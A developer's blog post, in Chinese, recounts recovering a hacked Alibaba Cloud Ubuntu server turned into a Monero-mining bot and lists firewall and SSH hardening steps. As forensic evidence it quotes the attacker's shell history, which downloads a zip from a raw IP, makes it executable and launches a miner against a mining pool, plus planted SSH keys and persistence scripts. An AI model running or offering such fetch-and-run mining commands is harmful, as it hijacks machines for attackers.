Coder的黑客大战前言就在这几天的某天,我们的一台阿里云ubuntu服务器应该被黑进了系统,变成了bot,占用了大量资源,严重影响了使用。为尽快恢复服务,不得已,在我司相关专业人员不在的情况下,奉命赤膊上阵,反击开始。1、现象:阿里云上一台本来好好的服务器突然不能访问了。通过ssh登录时几乎没有反应,无法连接。2、无法连接分析服务器,无法访问服务器上的服务。直接怀疑是服务器宕机了。登录阿里云控制台,发现机器正在运行,奇怪。继续再次查看控制台,发现在服务器的系统资源监控图上,CPU和IO网络资源都被100%占用,而我们的服务根本没有使用那么多,怀疑有属于异常应用。然后在控制台的云盾监控中,发现存储外服务器登录异常。现在确认应该是被黑了。这里有个郁闷点。阿里监控了这个黑客,但是想看更多的信息,就得升级VIP,要花钱,不便宜。服务器被篡改是肯定的,但是到底做了什么样的篡改呢?如何恢复?如何预防?继续分析。根本无法通过SSH访问服务器,所以无法登陆服务器发现异常。必须首先解决这个问题。通过阿里控制强制重启服务器。刚重启后,用ssh登录,就正常了。执行top命令观察系统资源状态。一开始,一切都很正常。大约1分钟后,整个server进程变成ps进程,系统资源耗尽,CPU和内存爆满。再次重启,尝试了几次,发现刚重启的时候,用ssh登录,ps和top命令都正常执行。1分钟后,系统中的所有进程基本都变成了ps、top和nestat进程,大量占用资源,导致几乎每个进程都消耗了100%的cpu。然后执行ps,top,netstat命令,命令正常结束,但是没有输出。通过与其他正常服务器对比,确定这些命令被替换。通过history命令发现有一个类似安装肉鸡操作的命令操作:1988wgethttp://118.192.146.141:21222/generic.zip1989unzipgeneric.zip1990rm-rfgeneric.zip1991cdgeneric.zip1992cdgeneric1993chmod777yam1994(./yam-cx-Mstratum+tcp://45scyJKLwUNFWdZQHanAWw7LDRGrfCeTGft12xyo6Cg6Z2XWhdub7BWW5H2iBrGGAc9XfC4VsQcRbPNgLgZDSqBK9KGJAvG:x@xmr.crypto-pool.fr:3333/xmr&)1995exit1996top该命令在root目录下载了一个zip文件,解压后赋予权限,启动了一个命令,但是这个命令无法理解。百度大概知道,利用redis安全漏洞的脚本中的命令和这个比较像。查看sshkey发现在/root/.ssh/authorized_keys和authorized_keys文件中新增了两个sshkey配置。根据最后的名字,显然不是我们的。ssh-rsaAAAAB3NzaC1yc2EAAAADAQABAAABAQCm3sLlDeWVz+wniirqWHTjr3X3Wn1EMPC5Ii7gC3yJ2w3XBZRqxg9WYYFD/9RlacTnO9LUcV35AQ+p+N9CSATMJLIK/iZznFSFtnbrqonhFd2SUtRhT8fPvwdSTmmKVZDOiI+ZWJcpffY8pOf2iXBkiVv3QIdTViJIkBF918gwIbQGYF5AJ+EqgA1HvOcMIM2C4btMwjImhGUW13buMv6RPfQHpayaPuC6xjGoqrhKvv9hEAAKn/g60S76Bj4WhXcbtYb8y0v1/TNRqv6AT7Om+NfjJUt6cxfgTw5SoQIFFQAKd3UyRr+z2xchSEf14lDRPrRU51tr4elU82MVKXBhroot@kalissh-rsaAAAAB3NzaC1yc2EAAAADAQABAAABAQC+wDfk9Uf97bGjImaI1c3Xi4DRTLqvW7GN1YoKJ2GJLIGbQlg7gYtDpcu0fjOjvL95kNNVkVcwBD5XzkmI+IM4nzybmMFX//r5efTp1z9fDWP3KvORo+qWJvwTcxwB8nYQRlwpkQn5HTXj4WkGpa93v5PthReoDFdPHmB+FMadbN6n9z2gOr+hNVSxeNGpNFzWNFVcGCKfMl7sJgexaw5gjeEobouvd1BvdbEBeIggnTSSEHYMpL0QlpHjWErgTCURIKno5xScpWmE9ejAui7uEjdDbtpjrY2Z8O9zExQtNRSb2gNXAtl3Y+3vfS6g8CzOTV2wdExukvKw+1zWQVFLzuoshou@ubuntu6。查看系统启动自启动项,在/etc/rc.local中发现了两个从未见过的自启动脚本。sh/etc/issue.sh&sh/etc/iisethert.sh&还发现了/etc/目录下的issue.sh、iisethert.sh文件。然后,进入/etc/init.d/目录,发现几十个没见过的文件hkiewsdxasasx*akslkkxmjdslk*klkmxasdsiwqx*opewlncwxjioq*....貌似程序是随机生成的,按时间排序,发现都是最近的。总共有50多个。另外发现了DbSecuritySpt和selinux脚本,也认为是异常脚本。3.反击根据前面的分析,你大概知道哪里出了问题。具体异常的作用暂未分析,先解决问题。删除异常根目录下的通用相关文件删除异常sshkey删除/etc/rc.local中异常脚本配置删除/etc/init.d/中异常脚本删除/etc/rc0中异常脚本连接.d~rc6.d/目录从其他正常的服务器,将正常的ps、top、netstat命令复制到/bin目录下,恢复命令。上面的反击操作不是紧要关头,重启服务器几次,依次执行上面的反击操作。最后最后一次重启服务器,通过top命令发现系统进程正常。后来在网上找了一篇类似的文章。我的具体情况和他的有些不一样,估计是新的变种。参考文章:Linux服务器一旦被入侵,木马程序被删除,防护就解决了,所以需要考虑如何防范。检查后,我们发现我们之前的保护有点太弱了。常规的防护措施是没用的,抓紧时间。启用防火墙安装sudoapt-getinstallufwenablethefirewallsudoufwenablesudoufwdefaultdeny系统启动时防火墙开启,所有外部对本机的访问关闭(本机正常访问外部)。关闭防火墙sudoufwdisable查看防火墙状态sudoufwstatus启用/禁用对应端口sudoufwallow80允许外部访问80端口sudoufwdeleteallow80禁止外部访问80端口sudoufwallowfrom192.168.1.1允许该IP访问所有本地机器端口sudoufwdenysmtp禁止外部访问smtp服务sudoufwdeleteallowsmtp删除上面建立的规则sudoufwdenyprototcpfrom10.0.0.0/8to192.168.0.1port22拒绝所有来自10.0的TCP流量.0.0/8Port22to192.168.0.1地址可以允许所有RFC1918网络(LAN/WLAN)访问这台主机(/8,/16,/12是网络分类):sudoufwallowfrom10.0.0.0/8sudoufwallowfrom172.16.0.0/12sudoufwallowfrom192.168.0.0/16推荐设置sudoapt-getinstallufwsudoufwenablesudoufwdefaultdeny修改ssh端口Linux中SSH的默认端口是22,为了安全起见,我们需要将设置的22端口修改,现在端口修改为60000;修改方法如下:在/etc/ssh/sshd_config中找到22端口,修改为60000,或者使用/usr/sbin/sshd-p60000指定端口。如果想同时打开22和60000端口,只需要在/etc/ssh/sshd_config中添加一行如下:[root@localhost/]#vi/etc/ssh/sshd_configPort22Port60000保存退出[root@localhost/]#servicesshrestartrestartsshserviceroot@ubuntu14:~#servicesshrestartsshstop/waitingsshstart/running,process1499root@ubuntu14:~#禁用root账号,增加sudo权限如果增加用户zhangsan的sudo权限.修改/etc/sudoers文件,在root下添加以下行。rootALL=(ALL)ALLzhangsanALL=(ALL)ALL添加用户名zhangsan:useraddzhangsanpasswdzhangsan禁止root用户登录:修改/etc/ssh/sshd_config文件,去掉PermitRootLogin前的#,把yes改成no,重启网络。#Authentication:LoginGraceTime120#PermitRootLoginwithout-passwordPermitRootLoginnoStrictModesyes按照上面的方法,root用户将无法登录,所以使用zhangsan用户登录。要切换到root权限,可以使用#sudosu,然后输入zhangsan的密码。后记严格来说,这算不上漂亮的逆袭,但也只是暂时解决了问题。由于时间关系,过程中没有保存异常文件供后续研究,也没有截图。码农对黑客技术知之甚少。受了这一次的搅局,似乎很有必要了解一下这些知识。不知道这件事情涉及的人是粗心还是一般,还是很容易发现系统异常。如果我遇到高水平的黑客,我估计会傻眼。总之,不要为小事而行恶,好吗?欢迎关注公众号:codergarden。我们码农的私有土地欢迎投稿。
